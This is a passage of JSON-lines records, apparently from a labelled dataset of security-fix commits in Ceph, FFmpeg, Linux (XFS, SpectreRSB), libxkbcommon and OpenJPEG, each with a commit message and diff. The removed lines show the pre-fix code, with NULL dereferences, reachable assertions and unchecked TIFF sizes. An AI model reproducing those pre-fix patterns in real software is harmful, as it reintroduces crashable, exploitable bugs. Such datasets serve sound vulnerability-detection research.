~AuthAuthorizerChallenge() {}\n };\n \n ", "sections": [{"section": "@@ -136,6 +136,11 @@ struct AuthAuthorizer {\n explicit AuthAuthorizer(__u32 p) : protocol(p) {}\n virtual ~AuthAuthorizer() {}\n virtual bool verify_reply(bufferlist::iterator& reply) = 0;\n+ virtual bool add_challenge(CephContext *cct, bufferlist& challenge) = 0;\n+};\n+\n+struct AuthAuthorizerChallenge {\n+ virtual ~AuthAuthorizerChallenge() {}\n };\n \n ", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/auth/unknown/AuthUnknownAuthorizeHandler.cc", "commit_id": "5ead97120e07054d80623dada90a5cc764c28468", "commit_message": "auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()", "patch": "@@ -14,10 +14,13 @@\n \n #include \"AuthUnknownAuthorizeHandler.h\"\n \n-bool AuthUnknownAuthorizeHandler::verify_authorizer(CephContext *cct, KeyStore *keys,\n-\t\t\t\t\t\t bufferlist& authorizer_data, bufferlist& authorizer_reply,\n-\t\t\t\t\t\t EntityName& entity_name, uint64_t& global_id, AuthCapsInfo& caps_info, CryptoKey& session_key,\n-uint64_t *auid)\n+bool AuthUnknownAuthorizeHandler::verify_authorizer(\n+ CephContext *cct, KeyStore *keys,\n+ bufferlist& authorizer_data, bufferlist& authorizer_reply,\n+ EntityName& entity_name, uint64_t& global_id, AuthCapsInfo& caps_info,\n+ CryptoKey& session_key,\n+ uint64_t *auid,\n+ std::unique_ptr *challenge)\n {\n // For unknown authorizers, there's nothing to verify. They're \"OK\" by definition. PLR\n ", "sections": [{"section": "@@ -14,10 +14,13 @@\n \n #include \"AuthUnknownAuthorizeHandler.h\"\n \n-bool AuthUnknownAuthorizeHandler::verify_authorizer(CephContext *cct, KeyStore *keys,\n-\t\t\t\t\t\t bufferlist& authorizer_data, bufferlist& authorizer_reply,\n-\t\t\t\t\t\t EntityName& entity_name, uint64_t& global_id, AuthCapsInfo& caps_info, CryptoKey& session_key,\n-uint64_t *auid)\n+bool AuthUnknownAuthorizeHandler::verify_authorizer(\n+ CephContext *cct, KeyStore *keys,\n+ bufferlist& authorizer_data, bufferlist& authorizer_reply,\n+ EntityName& entity_name, uint64_t& global_id, AuthCapsInfo& caps_info,\n+ CryptoKey& session_key,\n+ uint64_t *auid,\n+ std::unique_ptr *challenge)\n {\n // For unknown authorizers, there's nothing to verify. They're \"OK\" by definition. PLR\n ", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/msg/Messenger.h", "commit_id": "5ead97120e07054d80623dada90a5cc764c28468", "commit_message": "auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()", "patch": "@@ -806,11 +806,13 @@ class Messenger {\n */\n bool ms_deliver_verify_authorizer(Connection *con, int peer_type,\n \t\t\t\t int protocol, bufferlist& authorizer, bufferlist& authorizer_reply,\n-\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n+\t\t\t\t bool& isvalid, CryptoKey& session_key,\n+\t\t\t\t std::unique_ptr *challenge) {\n for (list::iterator p = dispatchers.begin();\n \t p != dispatchers.end();\n \t ++p) {\n- if ((*p)->ms_verify_authorizer(con, peer_type, protocol, authorizer, authorizer_reply, isvalid, session_key))\n+ if ((*p)->ms_verify_authorizer(con, peer_type, protocol, authorizer, authorizer_reply,\n+\t\t\t\t isvalid, session_key, challenge))\n \treturn true;\n }\n return false;", "sections": [{"section": "@@ -806,11 +806,13 @@ class Messenger {\n */\n bool ms_deliver_verify_authorizer(Connection *con, int peer_type,\n \t\t\t\t int protocol, bufferlist& authorizer, bufferlist& authorizer_reply,\n-\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n+\t\t\t\t bool& isvalid, CryptoKey& session_key,\n+\t\t\t\t std::unique_ptr *challenge) {\n for (list::iterator p = dispatchers.begin();\n \t p != dispatchers.end();\n \t ++p) {\n- if ((*p)->ms_verify_authorizer(con, peer_type, protocol, authorizer, authorizer_reply, isvalid, session_key))\n+ if ((*p)->ms_verify_authorizer(con, peer_type, protocol, authorizer, authorizer_reply,\n+\t\t\t\t isvalid, session_key, challenge))\n \treturn true;\n }\n return false;", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/test/messenger/xio_dispatcher.h", "commit_id": "5ead97120e07054d80623dada90a5cc764c28468", "commit_message": "auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()", "patch": "@@ -115,7 +115,8 @@ class XioDispatcher: public Dispatcher {\n virtual bool ms_verify_authorizer(Connection *con, int peer_type,\n \t\t\t\t int protocol, bufferlist& authorizer,\n \t\t\t\t bufferlist& authorizer_reply,\n-\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n+\t\t\t\t bool& isvalid, CryptoKey& session_key,\n+\t\t\t\t std::unique_ptr *challenge) {\n /* always succeed */\n isvalid = true;\n return true;", "sections": [{"section": "@@ -115,7 +115,8 @@ class XioDispatcher: public Dispatcher {\n virtual bool ms_verify_authorizer(Connection *con, int peer_type,\n \t\t\t\t int protocol, bufferlist& authorizer,\n \t\t\t\t bufferlist& authorizer_reply,\n-\t\t\t\t bool& isvalid, CryptoKey& session_key) {\n+\t\t\t\t bool& isvalid, CryptoKey& session_key,\n+\t\t\t\t std::unique_ptr *challenge) {\n /* always succeed */\n isvalid = true;\n return true;", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/mpeg4videodec.c", "commit_id": "bd27a9364ca274ca97f1df6d984e88a0700fb235", "commit_message": "avcodec/mpeg4videodec: Remove use of FF_PROFILE_MPEG4_SIMPLE_STUDIO as indicator of studio profile\n\nThe profile field is changed by code inside and outside the decoder,\nits not a reliable indicator of the internal codec state.\nMaintaining it consistency with studio_profile is messy.\nIts easier to just avoid it and use only studio_profile\n\nFixes: assertion failure\nFixes: ffmpeg_crash_9.avi\n\nFound-by: Thuan Pham, Marcel Böhme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart\nSigned-off-by: Michael Niedermayer ", "patch": "@@ -3244,7 +3244,6 @@ int ff_mpeg4_decode_picture_header(Mpeg4DecContext *ctx, GetBitContext *gb)\n s->avctx->has_b_frames = !s->low_delay;\n \n if (s->studio_profile) {\n- av_assert0(s->avctx->profile == FF_PROFILE_MPEG4_SIMPLE_STUDIO);\n if (!s->avctx->bits_per_raw_sample) {\n av_log(s->avctx, AV_LOG_ERROR, \"Missing VOL header\\n\");\n return AVERROR_INVALIDDATA;", "sections": [{"section": "@@ -3244,7 +3244,6 @@ int ff_mpeg4_decode_picture_header(Mpeg4DecContext *ctx, GetBitContext *gb)\n s->avctx->has_b_frames = !s->low_delay;\n \n if (s->studio_profile) {\n- av_assert0(s->avctx->profile == FF_PROFILE_MPEG4_SIMPLE_STUDIO);\n if (!s->avctx->bits_per_raw_sample) {\n av_log(s->avctx, AV_LOG_ERROR, \"Missing VOL header\\n\");\n return AVERROR_INVALIDDATA;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/xfs/libxfs/xfs_attr_leaf.c", "commit_id": "bb3d48dcf86a97dc25fe9fc2c11938e19cb4399a", "commit_message": "xfs: don't call xfs_da_shrink_inode with NULL bp\n\nxfs_attr3_leaf_create may have errored out before instantiating a buffer,\nfor example if the blkno is out of range. In that case there is no work\nto do to remove it, and in fact xfs_da_shrink_inode will lead to an oops\nif we try.\n\nThis also seems to fix a flaw where the original error from\nxfs_attr3_leaf_create gets overwritten in the cleanup case, and it\nremoves a pointless assignment to bp which isn't used after this.\n\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=199969\nReported-by: Xu, Wen \nTested-by: Xu, Wen \nSigned-off-by: Eric Sandeen \nReviewed-by: Darrick J. Wong \nSigned-off-by: Darrick J. Wong ", "patch": "@@ -791,9 +791,8 @@ xfs_attr_shortform_to_leaf(\n \tASSERT(blkno == 0);\n \terror = xfs_attr3_leaf_create(args, blkno, &bp);\n \tif (error) {\n-\t\terror = xfs_da_shrink_inode(args, 0, bp);\n-\t\tbp = NULL;\n-\t\tif (error)\n+\t\t/* xfs_attr3_leaf_create may not have instantiated a block */\n+\t\tif (bp && (xfs_da_shrink_inode(args, 0, bp) != 0))\n \t\t\tgoto out;\n \t\txfs_idata_realloc(dp, size, XFS_ATTR_FORK);\t/* try to put */\n \t\tmemcpy(ifp->if_u1.if_data, tmpbuffer, size);\t/* it back */", "sections": [{"section": "@@ -791,9 +791,8 @@ xfs_attr_shortform_to_leaf(\n \tASSERT(blkno == 0);\n \terror = xfs_attr3_leaf_create(args, blkno, &bp);\n \tif (error) {\n-\t\terror = xfs_da_shrink_inode(args, 0, bp);\n-\t\tbp = NULL;\n-\t\tif (error)\n+\t\t/* xfs_attr3_leaf_create may not have instantiated a block */\n+\t\tif (bp && (xfs_da_shrink_inode(args, 0, bp) != 0))\n \t\t\tgoto out;\n \t\txfs_idata_realloc(dp, size, XFS_ATTR_FORK);\t/* try to put */\n \t\tmemcpy(ifp->if_u1.if_data, tmpbuffer, size);\t/* it back */", "related": true}]} +{"owner": "xkbcommon", "repo": "libxkbcommon", "language": "C", "file_name": "src/xkbcomp/expr.c", "commit_id": "38e1766bc6e20108948aec8a0b222a4bad0254e9", "commit_message": "xkbcomp: Don't falsely promise from ExprResolveLhs\n\nEvery user of ExprReturnLhs goes on to unconditionally dereference the\nfield return, which can be NULL if xkb_intern_atom fails. Return false\nif this is the case, so we fail safely.\n\ntestcase: splice geometry data into interp\n\nSigned-off-by: Daniel Stone ", "patch": "@@ -42,7 +42,7 @@ ExprResolveLhs(struct xkb_context *ctx, const ExprDef *expr,\n *elem_rtrn = NULL;\n *field_rtrn = xkb_atom_text(ctx, expr->ident.ident);\n *index_rtrn = NULL;\n- return true;\n+ return (*field_rtrn != NULL);\n case EXPR_FIELD_REF:\n *elem_rtrn = xkb_atom_text(ctx, expr->field_ref.element);\n *field_rtrn = xkb_atom_text(ctx, expr->field_ref.field);", "sections": [{"section": "@@ -42,7 +42,7 @@ ExprResolveLhs(struct xkb_context *ctx, const ExprDef *expr,\n *elem_rtrn = NULL;\n *field_rtrn = xkb_atom_text(ctx, expr->ident.ident);\n *index_rtrn = NULL;\n- return true;\n+ return (*field_rtrn != NULL);\n case EXPR_FIELD_REF:\n *elem_rtrn = xkb_atom_text(ctx, expr->field_ref.element);\n *field_rtrn = xkb_atom_text(ctx, expr->field_ref.field);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/kernel/cpu/bugs.c", "commit_id": "fdf82a7856b32d905c39afc85e34364491e46346", "commit_message": "x86/speculation: Protect against userspace-userspace spectreRSB\n\nThe article \"Spectre Returns! Speculation Attacks using the Return Stack \nBuffer\" [1] describes two new (sub-)variants of spectrev2-like attacks, \nmaking use solely of the RSB contents even on CPUs that don't fallback to \nBTB on RSB underflow (Skylake+).\n\nMitigate userspace-userspace attacks by always unconditionally filling RSB on\ncontext switch when the generic spectrev2 mitigation has been enabled.\n\n[1] https://arxiv.org/pdf/1807.07940.pdf\n\nSigned-off-by: Jiri Kosina \nSigned-off-by: Thomas Gleixner \nReviewed-by: Josh Poimboeuf \nAcked-by: Tim Chen \nCc: Konrad Rzeszutek Wilk \nCc: Borislav Petkov \nCc: David Woodhouse \nCc: Peter Zijlstra \nCc: Linus Torvalds \nCc: stable@vger.kernel.org\nLink: https://lkml.kernel.org/r/nycvar.YFH.7.76.1807261308190.997@cbobk.fhfr.pm", "patch": "@@ -313,23 +313,6 @@ static enum spectre_v2_mitigation_cmd __init spectre_v2_parse_cmdline(void)\n \treturn cmd;\n }\n \n-/* Check for Skylake-like CPUs (for RSB handling) */\n-static bool __init is_skylake_era(void)\n-{\n-\tif (boot_cpu_data.x86_vendor == X86_VENDOR_INTEL &&\n-\t boot_cpu_data.x86 == 6) {\n-\t\tswitch (boot_cpu_data.x86_model) {\n-\t\tcase INTEL_FAM6_SKYLAKE_MOBILE:\n-\t\tcase INTEL_FAM6_SKYLAKE_DESKTOP:\n-\t\tcase INTEL_FAM6_SKYLAKE_X:\n-\t\tcase INTEL_FAM6_KABYLAKE_MOBILE:\n-\t\tcase INTEL_FAM6_KABYLAKE_DESKTOP:\n-\t\t\treturn true;\n-\t\t}\n-\t}\n-\treturn false;\n-}\n-\n static void __init spectre_v2_select_mitigation(void)\n {\n \tenum spectre_v2_mitigation_cmd cmd = spectre_v2_parse_cmdline();\n@@ -390,22 +373,15 @@ static void __init spectre_v2_select_mitigation(void)\n \tpr_info(\"%s\\n\", spectre_v2_strings[mode]);\n \n \t/*\n-\t * If neither SMEP nor PTI are available, there is a risk of\n-\t * hitting userspace addresses in the RSB after a context switch\n-\t * from a shallow call stack to a deeper one. To prevent this fill\n-\t * the entire RSB, even when using IBRS.\n+\t * If spectre v2 protection has been enabled, unconditionally fill\n+\t * RSB during a context switch; this protects against two independent\n+\t * issues:\n \t *\n-\t * Skylake era CPUs have a separate issue with *underflow* of the\n-\t * RSB, when they will predict 'ret' targets from the generic BTB.\n-\t * The proper mitigation for this is IBRS. If IBRS is not supported\n-\t * or deactivated in favour of retpolines the RSB fill on context\n-\t * switch is required.\n+\t *\t- RSB underflow (and switch to BTB) on Skylake+\n+\t *\t- SpectreRSB variant of spectre v2 on X86_BUG_SPECTRE_V2 CPUs\n \t */\n-\tif ((!boot_cpu_has(X86_FEATURE_PTI) &&\n-\t !boot_cpu_has(X86_FEATURE_SMEP)) || is_skylake_era()) {\n-\t\tsetup_force_cpu_cap(X86_FEATURE_RSB_CTXSW);\n-\t\tpr_info(\"Spectre v2 mitigation: Filling RSB on context switch\\n\");\n-\t}\n+\tsetup_force_cpu_cap(X86_FEATURE_RSB_CTXSW);\n+\tpr_info(\"Spectre v2 / SpectreRSB mitigation: Filling RSB on context switch\\n\");\n \n \t/* Initialize Indirect Branch Prediction Barrier if supported */\n \tif (boot_cpu_has(X86_FEATURE_IBPB)) {", "sections": [{"section": "@@ -313,23 +313,6 @@ static enum spectre_v2_mitigation_cmd __init spectre_v2_parse_cmdline(void)\n \treturn cmd;\n }\n \n-/* Check for Skylake-like CPUs (for RSB handling) */\n-static bool __init is_skylake_era(void)\n-{\n-\tif (boot_cpu_data.x86_vendor == X86_VENDOR_INTEL &&\n-\t boot_cpu_data.x86 == 6) {\n-\t\tswitch (boot_cpu_data.x86_model) {\n-\t\tcase INTEL_FAM6_SKYLAKE_MOBILE:\n-\t\tcase INTEL_FAM6_SKYLAKE_DESKTOP:\n-\t\tcase INTEL_FAM6_SKYLAKE_X:\n-\t\tcase INTEL_FAM6_KABYLAKE_MOBILE:\n-\t\tcase INTEL_FAM6_KABYLAKE_DESKTOP:\n-\t\t\treturn true;\n-\t\t}\n-\t}\n-\treturn false;\n-}\n-\n static void __init spectre_v2_select_mitigation(void)\n {\n \tenum spectre_v2_mitigation_cmd cmd = spectre_v2_parse_cmdline();\n", "related": false}, {"section": "@@ -390,22 +373,15 @@ static void __init spectre_v2_select_mitigation(void)\n \tpr_info(\"%s\\n\", spectre_v2_strings[mode]);\n \n \t/*\n-\t * If neither SMEP nor PTI are available, there is a risk of\n-\t * hitting userspace addresses in the RSB after a context switch\n-\t * from a shallow call stack to a deeper one. To prevent this fill\n-\t * the entire RSB, even when using IBRS.\n+\t * If spectre v2 protection has been enabled, unconditionally fill\n+\t * RSB during a context switch; this protects against two independent\n+\t * issues:\n \t *\n-\t * Skylake era CPUs have a separate issue with *underflow* of the\n-\t * RSB, when they will predict 'ret' targets from the generic BTB.\n-\t * The proper mitigation for this is IBRS. If IBRS is not supported\n-\t * or deactivated in favour of retpolines the RSB fill on context\n-\t * switch is required.\n+\t *\t- RSB underflow (and switch to BTB) on Skylake+\n+\t *\t- SpectreRSB variant of spectre v2 on X86_BUG_SPECTRE_V2 CPUs\n \t */\n-\tif ((!boot_cpu_has(X86_FEATURE_PTI) &&\n-\t !boot_cpu_has(X86_FEATURE_SMEP)) || is_skylake_era()) {\n-\t\tsetup_force_cpu_cap(X86_FEATURE_RSB_CTXSW);\n-\t\tpr_info(\"Spectre v2 mitigation: Filling RSB on context switch\\n\");\n-\t}\n+\tsetup_force_cpu_cap(X86_FEATURE_RSB_CTXSW);\n+\tpr_info(\"Spectre v2 / SpectreRSB mitigation: Filling RSB on context switch\\n\");\n \n \t/* Initialize Indirect Branch Prediction Barrier if supported */\n \tif (boot_cpu_has(X86_FEATURE_IBPB)) {", "related": false}]} +{"owner": "szukw000", "repo": "openjpeg", "language": "C", "file_name": "src/bin/jp2/converttif.c", "commit_id": "cadff5fb6e73398de26a92e96d3d7cac893af255", "commit_message": "These changes repair bugs of #871 and #872", "patch": "@@ -553,20 +553,18 @@ static void tif_32sto16u(const OPJ_INT32* pSrc, OPJ_UINT16* pDst, OPJ_SIZE_T len\n \n int imagetotif(opj_image_t * image, const char *outfile)\n {\n-\tint width, height;\n-\tint bps,adjust, sgnd;\n-\tint tiPhoto;\n+\tuint32 width, height, bps, tiPhoto;\n+\tint adjust, sgnd;\n \tTIFF *tif;\n \ttdata_t buf;\n-\ttsize_t strip_size;\n+\ttmsize_t strip_size, rowStride;\n \tOPJ_UINT32 i, numcomps;\n-\tOPJ_SIZE_T rowStride;\n \tOPJ_INT32* buffer32s = NULL;\n \tOPJ_INT32 const* planes[4];\n \tconvert_32s_PXCX cvtPxToCx = NULL;\n \tconvert_32sXXx_C1R cvt32sToTif = NULL;\n \n-\tbps = (int)image->comps[0].prec;\n+\tbps = (uint32)image->comps[0].prec;\n \tplanes[0] = image->comps[0].data;\n \t\n \tnumcomps = image->numcomps;\n@@ -674,22 +672,22 @@ int imagetotif(opj_image_t * image, const char *outfile)\n \t\t\tbreak;\n \t}\n \tsgnd = (int)image->comps[0].sgnd;\n-\tadjust = sgnd ? 1 << (image->comps[0].prec - 1) : 0;\n-\twidth = (int)image->comps[0].w;\n-\theight = (int)image->comps[0].h;\n+\tadjust = sgnd ? (int)(1 << (image->comps[0].prec - 1)) : 0;\n+\twidth = (uint32)image->comps[0].w;\n+\theight = (uint32)image->comps[0].h;\n \t\n \tTIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width);\n \tTIFFSetField(tif, TIFFTAG_IMAGELENGTH, height);\n-\tTIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, numcomps);\n+\tTIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, (uint32)numcomps);\n \tTIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps);\n \tTIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);\n \tTIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);\n \tTIFFSetField(tif, TIFFTAG_PHOTOMETRIC, tiPhoto);\n \tTIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);\n \t\n \tstrip_size = TIFFStripSize(tif);\n-\trowStride = ((OPJ_SIZE_T)width * numcomps * (OPJ_SIZE_T)bps + 7U) / 8U;\n-\tif (rowStride != (OPJ_SIZE_T)strip_size) {\n+\trowStride = (width * numcomps * bps + 7U) / 8U;\n+\tif (rowStride != strip_size) {\n \t\tfprintf(stderr, \"Invalid TIFF strip size\\n\");\n \t\tTIFFClose(tif);\n \t\treturn 1;\n@@ -699,7 +697,7 @@ int imagetotif(opj_image_t * image, const char *outfile)\n \t\tTIFFClose(tif);\n \t\treturn 1;\n \t}\n-\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)width * numcomps * sizeof(OPJ_INT32));\n+\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)(width * numcomps * sizeof(OPJ_INT32)));\n \tif (buffer32s == NULL) {\n \t\t_TIFFfree(buf);\n \t\tTIFFClose(tif);\n@@ -1211,20 +1209,19 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \tTIFF *tif;\n \ttdata_t buf;\n \ttstrip_t strip;\n-\ttsize_t strip_size;\n+\ttmsize_t strip_size;\n \tint j, currentPlane, numcomps = 0, w, h;\n \tOPJ_COLOR_SPACE color_space = OPJ_CLRSPC_UNKNOWN;\n \topj_image_cmptparm_t cmptparm[4]; /* RGBA */\n \topj_image_t *image = NULL;\n \tint has_alpha = 0;\n-\tunsigned short tiBps, tiPhoto, tiSf, tiSpp, tiPC;\n-\tunsigned int tiWidth, tiHeight;\n+\tuint32 tiBps, tiPhoto, tiSf, tiSpp, tiPC, tiWidth, tiHeight;\n \tOPJ_BOOL is_cinema = OPJ_IS_CINEMA(parameters->rsiz);\n \tconvert_XXx32s_C1R cvtTifTo32s = NULL;\n \tconvert_32s_CXPX cvtCxToPx = NULL;\n \tOPJ_INT32* buffer32s = NULL;\n \tOPJ_INT32* planes[4];\n-\tOPJ_SIZE_T rowStride;\n+\ttmsize_t rowStride;\n \t\n \ttif = TIFFOpen(filename, \"r\");\n \t\n@@ -1243,22 +1240,35 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \tTIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &tiSpp);\n \tTIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &tiPhoto);\n \tTIFFGetField(tif, TIFFTAG_PLANARCONFIG, &tiPC);\n-\tw= (int)tiWidth;\n-\th= (int)tiHeight;\n-\t\n-\tif(tiBps > 16U) {\n-\t\tfprintf(stderr,\"tiftoimage: Bits=%d, Only 1 to 16 bits implemented\\n\",tiBps);\n-\t\tfprintf(stderr,\"\\tAborting\\n\");\n+\n+\tif(tiSpp == 0 || tiSpp > 4) { /* should be 1 ... 4 */\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for samples per pixel == %hu.\\n\"\n+\t\t \"\\tAborting.\\n\", tiSpp);\n+\t\tTIFFClose(tif);\n+\t\treturn NULL;\n+\t}\n+\tif(tiBps > 16U || tiBps == 0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad values for Bits == %d.\\n\"\n+\t\t \"\\tMax. 16 Bits are allowed here.\\n\\tAborting.\\n\",tiBps);\n \t\tTIFFClose(tif);\n \t\treturn NULL;\n \t}\n \tif(tiPhoto != PHOTOMETRIC_MINISBLACK && tiPhoto != PHOTOMETRIC_RGB) {\n-\t\tfprintf(stderr,\"tiftoimage: Bad color format %d.\\n\\tOnly RGB(A) and GRAY(A) has been implemented\\n\",(int) tiPhoto);\n+\t\tfprintf(stderr,\"tiftoimage: Bad color format %d.\\n\"\n+\t\t \"\\tOnly RGB(A) and GRAY(A) has been implemented\\n\",(int) tiPhoto);\n \t\tfprintf(stderr,\"\\tAborting\\n\");\n \t\tTIFFClose(tif);\n \t\treturn NULL;\n \t}\n-\t\n+\tif(tiWidth == 0 || tiHeight == 0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad values for width(%u) \"\n+\t\t \"and/or height(%u)\\n\\tAborting.\\n\",tiWidth,tiHeight);\n+\t\tTIFFClose(tif);\n+\t\treturn NULL;\n+\t}\n+\tw= (int)tiWidth;\n+\th= (int)tiHeight;\n+\n \tswitch (tiBps) {\n \t\tcase 1:\n \t\tcase 2:\n@@ -1312,7 +1322,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\t\n \t\tTIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES,\n \t\t\t\t\t\t\t\t\t\t\t\t\t&extrasamples, &sampleinfo);\n-\t\t\n+\n \t\tif(extrasamples >= 1)\n \t\t{\n \t\t\tswitch(sampleinfo[0])\n@@ -1333,7 +1343,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\telse /* extrasamples == 0 */\n \t\t\tif(tiSpp == 4 || tiSpp == 2) has_alpha = 1;\n \t}\n-\t\n+\n \t/* initialize image components */\n \tmemset(&cmptparm[0], 0, 4 * sizeof(opj_image_cmptparm_t));\n \t\n@@ -1346,7 +1356,7 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t} else {\n \t\tis_cinema = 0U;\n \t}\n-\t\n+\n \tif(tiPhoto == PHOTOMETRIC_RGB) /* RGB(A) */\n \t{\n \t\tnumcomps = 3 + has_alpha;\n@@ -1384,26 +1394,40 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \timage->x0 = (OPJ_UINT32)parameters->image_offset_x0;\n \timage->y0 = (OPJ_UINT32)parameters->image_offset_y0;\n \timage->x1 =\t!image->x0 ? (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1 :\n-\timage->x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1;\n+\t image->x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1;\n+\tif(image->x1 <= image->x0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for image->x1(%d) vs. \"\n+\t\t \"image->x0(%d)\\n\\tAborting.\\n\",image->x1,image->x0);\n+\t\tTIFFClose(tif);\n+\t\topj_image_destroy(image);\n+\t\treturn NULL;\n+\t}\n \timage->y1 =\t!image->y0 ? (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1 :\n-\timage->y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1;\n-\n+\t image->y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1;\n+\tif(image->y1 <= image->y0) {\n+\t\tfprintf(stderr,\"tiftoimage: Bad value for image->y1(%d) vs. \"\n+\t\t \"image->y0(%d)\\n\\tAborting.\\n\",image->y1,image->y0);\n+\t\tTIFFClose(tif);\n+\t\topj_image_destroy(image);\n+\t\treturn NULL;\n+\t}\n+\t\n \tfor(j = 0; j < numcomps; j++)\n \t{\n \t\tplanes[j] = image->comps[j].data;\n \t}\n \timage->comps[numcomps - 1].alpha = (OPJ_UINT16)(1 - (numcomps & 1));\n \t\t\n \tstrip_size = TIFFStripSize(tif);\n-\t\n+\n \tbuf = _TIFFmalloc(strip_size);\n \tif (buf == NULL) {\n \t\tTIFFClose(tif);\n \t\topj_image_destroy(image);\n \t\treturn NULL;\n \t}\n-\trowStride = ((OPJ_SIZE_T)w * tiSpp * tiBps + 7U) / 8U;\n-\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)w * tiSpp * sizeof(OPJ_INT32));\n+\trowStride = (w * tiSpp * tiBps + 7U) / 8U;\n+\tbuffer32s = (OPJ_INT32 *)malloc((OPJ_SIZE_T)(w * tiSpp * sizeof(OPJ_INT32)));\n \tif (buffer32s == NULL) {\n \t\t_TIFFfree(buf);\n \t\tTIFFClose(tif);\n@@ -1421,11 +1445,20 @@ opj_image_t* tiftoimage(const char *filename, opj_cparameters_t *parameters)\n \t\tfor(; (h > 0) && (strip < TIFFNumberOfStrips(tif)); strip++)\n \t\t{\n \t\t\t\tconst OPJ_UINT8 *dat8;\n-\t\t\t\tOPJ_SIZE_T ssize;\n+\t\t\t\ttmsize_t ssize;\n \t\t\t\t\n-\t\t\t\tssize = (OPJ_SIZE_T)TIFFReadEncodedStrip(tif, strip, buf, strip_size);\n+\t\t\t\tssize = TIFFReadEncodedStrip(tif, strip, buf, strip_size);\n+\t\t\t\tif(ssize < 1 || ssize > strip_size) 